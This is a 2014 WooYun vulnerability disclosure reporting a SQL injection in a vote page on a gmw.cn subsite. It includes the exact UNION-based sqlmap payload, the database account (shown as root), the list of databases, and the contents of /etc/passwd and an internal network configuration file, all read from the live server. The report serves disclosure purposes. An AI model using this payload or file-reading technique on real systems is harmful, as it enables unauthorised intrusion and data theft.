当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-053031

漏洞标题:光明网某分站SQL注入

相关厂商:gmw.cn

漏洞作者: Neeke

提交时间:2014-03-07 15:40

修复时间:2014-03-17 15:41

公开时间:2014-03-17 15:41

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:10

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-03-07: 细节已通知厂商并且等待厂商处理中
2014-03-17: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

RT

详细说明:

点:http://tg.gmw.cn/vote/index.php?id=30
supesite安装文件未清理:http://tg.gmw.cn/install/
mysql root权限,可以读文件,DB和WEB分离。

漏洞证明:

Screenshot from 2014-03-07 15:19:40.png


Screenshot from 2014-03-07 15:19:49.png


丢给sqlmap:
sqlmap identified the following injection points with a total of 151 HTTP(s) requests:
---
Place: GET
Parameter: id
Type: UNION query
Title: MySQL UNION query (NULL) - 5 columns
Payload: id=-5076' UNION ALL SELECT NULL,NULL,CONCAT(0x7170706371,0x77727a6b615957635249,0x7162726f71),NULL,NULL#
Vector: UNION ALL SELECT NULL,NULL,[QUERY],NULL,NULL#
---
web server operating system: Linux CentOS 5.8
web application technology: Apache 2.2.3, PHP 5.2.17
back-end DBMS: MySQL >= 5.0.0
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: id
Type: UNION query
Title: MySQL UNION query (NULL) - 5 columns
Payload: id=-5076' UNION ALL SELECT NULL,NULL,CONCAT(0x7170706371,0x77727a6b615957635249,0x7162726f71),NULL,NULL#
Vector: UNION ALL SELECT NULL,NULL,[QUERY],NULL,NULL#
---
web server operating system: Linux CentOS 5.8
web application technology: Apache 2.2.3, PHP 5.2.17
back-end DBMS: MySQL 5
current user: 'root@localhost'
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: id
Type: UNION query
Title: MySQL UNION query (NULL) - 5 columns
Payload: id=-5076' UNION ALL SELECT NULL,NULL,CONCAT(0x7170706371,0x77727a6b615957635249,0x7162726f71),NULL,NULL#
Vector: UNION ALL SELECT NULL,NULL,[QUERY],NULL,NULL#
---
web server operating system: Linux CentOS 5.8
web application technology: Apache 2.2.3, PHP 5.2.17
back-end DBMS: MySQL 5
available databases [7]:
[*] information_schema
[*] interactive
[*] mjvote
[*] mysql
[*] supersite
[*] test
[*] wzbvote
读文件:
/etc/passwd
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
news:x:9:13:news:/etc/news:
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
nscd:x:28:28:NSCD Daemon:/:/sbin/nologin
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
rpc:x:32:32:Portmapper RPC user:/:/sbin/nologin
mailnull:x:47:47::/var/spool/mqueue:/sbin/nologin
smmsp:x:51:51::/var/spool/mqueue:/sbin/nologin
pcap:x:77:77::/var/arpwatch:/sbin/nologin
ntp:x:38:38::/etc/ntp:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
avahi:x:70:70:Avahi daemon:/:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
nfsnobody:x:65534:65534:Anonymous NFS User:/var/lib/nfs:/sbin/nologin
haldaemon:x:68:68:HAL daemon:/:/sbin/nologin
avahi-autoipd:x:100:101:avahi-autoipd:/var/lib/avahi-autoipd:/sbin/nologin
xfs:x:43:43:X Font Server:/etc/X11/fs:/sbin/nologin
gdm:x:42:42::/var/gdm:/sbin/nologin
sabayon:x:86:86:Sabayon user:/home/sabayon:/sbin/nologin
apache:x:48:48:Apache:/var/www:/sbin/nologin
distcache:x:94:94:Distcache:/:/sbin/nologin
mysql:x:27:27:MySQL Server:/var/lib/mysql:/bin/bash
/etc/sysconfig/network-scripts/ifcfg-eth0
# Advanced Micro Devices [AMD] 79c970 [PCnet32 LANCE]
DEVICE=eth0
BOOTPROTO=static
BROADCAST=192.168.106.255
HWADDR=00:0C:29:5D:95:B8
IPADDR=192.168.106.75
NETMASK=255.255.255.0
NETWORK=192.168.106.0
ONBOOT=yes

修复方案:

我是来求小礼物的

版权声明:转载请注明来源 Neeke@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2014-03-17 15:41

厂商回复:

最新状态:

暂无